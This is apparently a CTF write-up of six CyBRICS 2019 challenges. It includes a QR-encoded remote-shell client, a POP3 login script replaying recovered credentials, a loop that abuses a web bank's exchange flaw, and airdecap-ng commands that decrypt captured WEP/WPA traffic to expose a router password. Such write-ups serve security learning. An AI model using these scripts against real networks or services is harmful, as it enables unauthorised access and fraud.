I played CyBRICS CTF 2019 in zer0pts
.
Our team got 386pts and reached 69th place.
It's not a good result but I really enjoyed the CTF as there were many well-designed challenges.
- [Forensics 67pts] Disk Data
- [Cyber 50pts] QShell
- [Network 10pts] Sender
- [Web 50pts] Bitkoff Bank
- [Reverse 50pts] Matreshka
- [Network 50pts] Paranoid
[Forensics 67pts] Disk Data
Description: Disk dump hides the flag. Obtain it File: data2.bin
It's a disk dump of the /home
directory.
I first dumped the contents of .bash_histoy
:
ls ls -anl bash su rev read -r URL cd Downloads/ wget $URL eog kTd0T9g.png convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png eog kTd0T9g.png ync sync ls -anl cd Downloads/ wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz wget https://github.com/geohot/qira/archive/v1.3.zip unzip v1.3.zip ls tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz
It seems a file named kTd0T9g.png
was saved in ~/Downloads
.
Let's check the file name as there might be the value of $URL
.
$ strings data2.bin | grep kTd0T9g.png ... kTd0T9g.png https://i.imgur.com/kTd0T9g.png <bookmark href="file:///home/ctfer/Downloads/kTd0T9g.png" added="2019-07-19T23:17:33Z" modified="2019-07-19T23:18:14Z" visited="2019-07-19T23:17:33Z"> ...
Bingo! The image was still available and that was the flag.
[Cyber 50pts] QShell
Description: QShell is running on nc spbctf.ppctf.net 37338
A QR code is given by the server. I love QR codes.
The decoded value is sh-5.0$
, which means the server just gives us the shell in QR code.
I made a simple client which decodes the give QR code and encodes our command in QR code.
from PIL import Image from pyzbar.pyzbar import decode import qrcode from time import sleep from ptrlib import * def receive(): qr = [[]] data = sock.recvuntil("\n\n.").rstrip(b'.').rstrip() sock.recvline() data += b'#' offset = 0 while offset < len(data): if data[offset] == 0xe2: qr[-1].append(255) offset += 3 elif data[offset] == 0x20: qr[-1].append(0) offset += 1 elif data[offset] == 0x0a: qr.append([]) offset += 1 else: break image = Image.new('RGB', (len(qr), len(qr[0])), (255, 255, 255)) size = len(qr) for y, line in enumerate(qr): for x, c in enumerate(line): c = qr[y][x] image.putpixel((x, y), (c, c, c)) image = image.resize((size * 3, size * 3)) image.save("last.png") result = decode(image) return result[0][0] def send(cmd): qr = qrcode.QRCode(box_size=1, border=4, version=20) qr.add_data(cmd) qr.make() img = qr.make_image(fill_color="white", back_color="black") data = b'' for y in range(img.size[1]): for x in range(img.size[0]): r = img.getpixel((x, y)) if r == (0, 0, 0): data += b'\xe2\x96\x88' else: data += b' ' data += b'\n' data += b'\n.' sock.sendline(data) return if __name__ == '__main__': sock = Socket("spbctf.ppctf.net", 37338) while True: print(bytes2str(receive()), end="") cmd = input() send(cmd) sock.interactive()
Good!
$ python solve.py [+] __init__: Successfully connected to spbctf.ppctf.net:37338 sh-5.0$ ls 1.py 2.py docker-compose.yml Dockerfile flag.txt log.txt qweqwe.png rex.txt runserver.sh run.sh $ python solve.py [+] __init__: Successfully connected to spbctf.ppctf.net:37338 sh-5.0$ cat flag.txt cybrics{QR_IS_MY_LOVE}
[Network 10pts] Sender
Description: We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that. Get us their secret documents File: intercepted_text.txt
When I tried this challenge, @yoshiking had already found that the username is fawkes
and the @assword is Combin4t1onXXY
.
The given text begins with the following line:
220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
As it seems POP3, I connected to the server with telnet.
$ telnet ugm.cybrics.net 110 Trying 136.244.67.129... Connected to ugm.cybrics.net. Escape character is '^]'. +OK Dovecot ready. USER fawkes +OK PASS Combin4t1onXXY +OK Logged in. LIST +OK 1 messages: 1 138808 .
So, there's only 1 big message with an attachment named secret_flag.zip
.
Let's retreive it.
from ptrlib import * import base64 sock = Socket("ugm.cybrics.net", 110) sock.recvline() sock.sendline("USER fawkes") sock.recvline() sock.sendline("PASS Combin4t1onXXY") sock.recvline() sock.sendline("RETR 1") sock.recvuntil("base64\r\n\r\n") data = b'' while True: data += sock.recv() if b'\r\n\r\n' in data: data = data[:data.index(b'\r\n\r\n')] break binary = base64.b64decode(data) with open("secret_flag.zip", "wb") as f: f.write(binary)
@yoshiking also had already found the password for the zip file is crack0Weston88vertebra
.
I just decompressed the zip file with the password and the flag was written in the extracted PDF file.
[Web 50pts] Bitkoff Bank
Description: Need more money! Need the flag! URL: http://45.77.201.191/index.php (Mirror: http://95.179.148.72:8083/index.php)
It's a cryptocurrency miner.
@st98 found that we can ignore the step
and the balance increases a bit by exchanging BTC to USD (vice versa).
As we need $1 to get the flag, I made a script to increase the balance gradually.
import requests import re cookies = {"name": "papyrus", "password": "papyrus123"} r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies) rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii")) usd = rr[0] if rr else 0.0 rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii")) btc = rr[0] if rr else 0.0 c_from, c_to = "btc", "usd" while True: data = { "from_currency": c_from, "to_currency": c_to, "amount": btc if c_from == 'btc' else usd } r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data) r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies) rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii")) usd = rr[0] if rr else 0.0 rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii")) btc = rr[0] if rr else 0.0 print("USD={} / BTC={}".format(usd, btc)) c_from, c_to = c_to, c_from
And also made a helper script which mines the coin.
import requests import re cookies = {"name": "papyrus", "password": "papyrus123"} while True: data = {"mine": 1} r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data) rr = re.findall(b"Your USD: <b>(\d+.\d+)</b>", r.text.encode("ascii")) usd = rr[0] if rr else 0.0 rr = re.findall(b"Your BTC: <b>(\d+.\d+)</b>", r.text.encode("ascii")) btc = rr[0] if rr else 0.0 print("USD={} / BTC={}".format(usd, btc))
It took about 10 minutes to gain $1. After that we can get the flag with the following script.
import requests import re cookies = {"name": "papyrus", "password": "papyrus123"} data = {"flag": 1} r = requests.post("http://95.179.148.72:8083/index.php", cookies=cookies, data=data) print(r.text) r = requests.get("http://95.179.148.72:8083/index.php", cookies=cookies) print(r.text)
[Reverse 50pts] Matreshka
Description: Matreshka hides flag. Open it. Files: Code2.class, data.bin
We're given a class file of Java.
@theoldmoon0602 found the password for the first stage was lettreha
and it gave us an ELF binary made with golang.
The binary just prints Fail
when I run it.
Since I'm not familiar with reverse engineering golang binaries, I used gdb and checked some constraints in order to avoid the fail routine.
As I dynamically analysed the binary, I found it xores the folder name in which the binary exists with a key.
The key is 38afaaf48c08f84b22c5605fa1576cab
and the xored value is compared with \x53\xdd\xc5\x87\xe4\x63\x99\x14\x4f\xa4\x14\x2d\xc4\x24\x04\xc0
, which means the correct folder name is kroshka_matreshka
.
(I guessed the last character as it requires 0x11 bytes even though the xor is applied to the first 0x10 bytes.)
Let's make a folder named kroshka_matreshka
and put the binary in it.
$ kroshka_matreshka/stage2.bin OK, decoding payload...
Good. It creates a file named result.pyc
.
The following is the decompiled script:
def decode(data, key): idx = 0 res = [] for c in data: res.append(chr(c ^ ord(key[idx]))) idx = (idx + 1) % len(key) return res flag = [ 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15] print('Enter key to get flag:') key = input() if len(key) != 8: print('Invalid len') quit() res = decode(flag, key) print(''.join(res))
Okay, the last stage is pretty easy.
As the key length is 8 bytes and we know the flag begins with cybrics{
, we can easily find the key.
from ptrlib import * cipher = ''.join(list(map(chr, [40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15]))) test = b'cybrics{' key = xor(test, cipher) print(xor(cipher, key))
Perfect!
$ python solve.py b'cybrics{M4TR35HK4_15_B35T}'
[Network 50pts] Paranoid
Description: My neighbors are always very careful about their security. For example they've just bought a new home Wi-Fi router, and instead of just leaving it open, they instantly are setting passwords! Don't they trust me? I feel offended. Can you give me their current router admin pw? File: paranoid.pcap
It pcap file is a mix of HTTP packets and IEEE 802.11 streams. There're two HTTP packets with POST methods and one of them posts the new WEP passphrase to the router.
POST /req/wlanApSecurity HTTP/1.1 Host: 192.168.1.1 Connection: keep-alive Content-Length: 745 Cache-Control: max-age=0 Authorization: Digest username="admin", realm="KEENETIC", nonce="4304e17cc9ba8af651a012d825b5ef2c", uri="/req/wlanApSecurity", algorithm=MD5, response="1465cdf644d3fbe13622e4bfc5f6a27d", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="f02e829a935d0bd9" Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.1.1/homenet/wireless/security.asp Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: interval=50 WLAN_AP_ENCRYPT_TYPE=2&WLAN_AP_WEP_KEY_INDEX=1&WLAN_AP_WEP_KEY1_FORMAT=1&WLAN_AP_WEP_KEY1=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY2_FORMAT=1&WLAN_AP_WEP_KEY2=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY3_FORMAT=1&WLAN_AP_WEP_KEY3=Xi1nvy5KGSgI2&WLAN_AP_WEP_KEY4_FORMAT=1&WLAN_AP_WEP_KEY4=Xi1nvy5KGSgI2&WLAN_AP_AUTH_TYPE=1&WLAN_AP_WEP_ENCRYPT_TYPE=2&WLAN_AP_WEP128_KEY_INDEX=1&WLAN_AP_WEP128_KEY1_FORMAT=1&WLAN_AP_WEP128_KEY1=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY2_FORMAT=1&WLAN_AP_WEP128_KEY2=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY3_FORMAT=1&WLAN_AP_WEP128_KEY3=Xi1nvy5KGSgI2&WLAN_AP_WEP128_KEY4_FORMAT=1&WLAN_AP_WEP128_KEY4=Xi1nvy5KGSgI2&WEP128_passphrase=&WEP64_passphrase=&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fhomenet%2Fwireless%2Fsecurity.asp
So, the WEP key is 58:69:31:6e:76:79:35:4b:47:53:67:49:32
.
I first thought the SSID was ZyXEL_KEENETIC_30528
but it was changed to NSA_WIFI_DONT_HACK
.
$ aircrack-ng paranoid.pcap Opening paranoid.pcap Read 52725 packets. # BSSID ESSID Encryption 1 00:0C:43:30:52:88 NSA_WIFI_DONT_HACK WPA (1 handshake) ...
Let's decrypt the WEP packets.
$ airdecap-ng -e NSA_WIFI_DONT_HACK -w 58:69:31:6e:76:79:35:4b:47:53:67:49:32 paranoid.pcap Total number of packets read 52725 Total number of WEP data packets 7434 Total number of WPA data packets 2899 Number of plaintext data packets 2367 Number of decrypted WEP packets 7434 Number of corrupted WEP packets 0 Number of decrypted WPA packets 0
Nice! The decrypted pcap file has several HTTP packets with POST methods. In the last one has the WPA/PSK passphrase.
POST /req/wlanApSecurity HTTP/1.1 Host: 192.168.1.1 Connection: keep-alive Content-Length: 340 Cache-Control: max-age=0 Authorization: Digest username="admin", realm="KEENETIC", nonce="d94f13fb78cb6fba49514f2f2d8e3b88", uri="/req/wlanApSecurity", algorithm=MD5, response="a62ff61b51d90461213672cd1a73bc0c", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="3ef1ff882ce68360" Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.1.1/homenet/wireless/security.asp Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: interval=50 WLAN_AP_ENCRYPT_TYPE=4&WLAN_AP_WPA_PSK=2_RGR_xO-uiJFiAxdA33-PsdanuK&WLAN_AP_AUTH_TYPE=4&WEP128_passphrase=&WEP64_passphrase=&WLAN_AP_WPA_ENCRYPT_TYPE=4&WLAN_AP_WPA_PSK_FORMAT=1&WLAN_AP_WPA_PSK_passphrase=2_RGR_xO-uiJFiAxdA33-PsdanuK&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fhomenet%2Fwireless%2Fsecurity.asp
So, the passphrase is 2_RGR_xO-uiJFiAxdA33-PsdanuK
.
Let's decrypt the WPA packets.
$ airdecap-ng -e NSA_WIFI_DONT_HACK -p 2_RGR_xO-uiJFiAxdA33-PsdanuK paranoid.pcap Total number of packets read 52725 Total number of WEP data packets 7434 Total number of WPA data packets 2899 Number of plaintext data packets 2367 Number of decrypted WEP packets 0 Number of corrupted WEP packets 0 Number of decrypted WPA packets 2899
Great! I filtered the POST methods and found the router password.
POST /req/admin HTTP/1.1 Host: 192.168.1.1 Connection: keep-alive Content-Length: 223 Pragma: no-cache Cache-Control: no-cache Authorization: Digest username="admin", realm="KEENETIC", nonce="95e0cc620c46aa275df78a7a476525e0", uri="/req/admin", algorithm=MD5, response="3bdd17d5660bf8090e9faa74e7f84366", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="416711e8a3dd320a" Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.1.1/system/admin.asp Accept-Encoding: gzip, deflate Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: interval=50 ADMIN_NAME=admin&ADMIN_PASSWORD=cybrics%7Bn0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R%7D&PASSWORD_CONFIRM=cybrics%7Bn0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R%7D&save=%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C&submit_url=%2Fstatus.asp